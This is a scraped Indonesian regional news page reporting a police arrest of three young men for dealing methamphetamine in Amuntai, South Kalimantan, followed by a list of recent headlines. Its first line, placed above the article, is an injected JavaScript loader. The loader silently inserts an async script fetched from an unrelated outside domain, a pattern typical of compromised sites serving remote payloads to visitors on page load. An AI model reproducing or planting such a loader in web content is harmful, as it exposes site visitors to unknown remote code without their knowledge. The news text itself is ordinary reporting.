(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Tiga Pemuda Pengedar Sabu di Amuntai Dibekuk


KANALKALIMANTAN.COM, AMUNTAI – Tiga pemuda pengedar narkotika jenis sabu Ad (25), Ar (19) dan Rd (29) di Amuntai diringkus Satuan Reserse Narkoba Polres Hulu Sungai Utara (HSU).

Ketiga tersangka berhasil ditangkap masing-masing di tempat yang berbeda pada Jumat (23/4/2021)

Dari tangan tersangka Ad berhasil diamankan sabu dengan berat keseluruhan 0,71 gram -berat bersih 0,11 gram.

 

Sedangkan dari tangan tersangka Ar dan Rd ditemukan sabu dengan berat keseluruhan 2,05 gram -berat bersih 1,12 gram-.

Baca juga: Mabuk, Seorang Pria di Banjarmasin Tega Aniaya dan Seret Ibu Kandungnya

Kapolres HSU AKBP Afri Darmawan SIK MH melalui Kasat Resnarkoba Iptu Siswadi, kepada kanalkalimantan.com, Senin (26/4/2021) membenarkan pengungkapan dua kasus narkotika yang menyeret tiga orang itu.

Dari informasi, penangkapan ketiga tersangka sendiri dilakukan di tempat berbeda.

Tersangka Ad, warga Desa Tangga Ulin Hilir, Kecamatan Amuntai Tengah, berhasil dibekuk petugas yang menyamar menjadi pembeli saat berada di Pasar Induk Amuntai.

Menyusul kemudian tersangka Ar dan Rd, keduanya dibekuk saat berada di dalam rumah tersangka Ar di Jalan Keramat RT 001 Desa Pakacangan, Kecamatan Amuntai Utara.

Baca juga: Bupati Banjar Terima Bantuan dari UPZ Bank Kalsel

“Posisi Ad berperan sebagai kurir, waktu dilakukan pemeriksaan ternyata Ad membeli narkotika di tempat Ar dan Rd,” jelas Kasat Narkoba Polres HSU.

Atas kejadian tersebut ketiga tersangka bersama barang bukti digelandang ke tahanan Mapolres HSU guna proses penyidikan lebih lanjut.

Selain paket sabu, anggota Sat Resnarkoba juga mengamankan barang bukti lainnya seperti sebuah kotak rokok, sedotan plastik, pipet kaca, sebuah bong dari botol plastik, timbangan digital warna silver, tas selempang, satu pak plastik piper klip, sebuah handphone, dan uang tunai sebesar Rp 950 ribu.

Atas pengungkapan kasus narkotika ini, ketiga pemuda dijerat pasal 114 ayat 1 atau 112 ayat 1 UU RI Nomor 35 tahun 2009 tentang narkotika. (kanalkalimantan.com/dew)

Reporter : dew
Editor : kk


Al Ghifari

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

14 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

17 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

17 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

19 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

21 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

22 jam ago

This website uses cookies.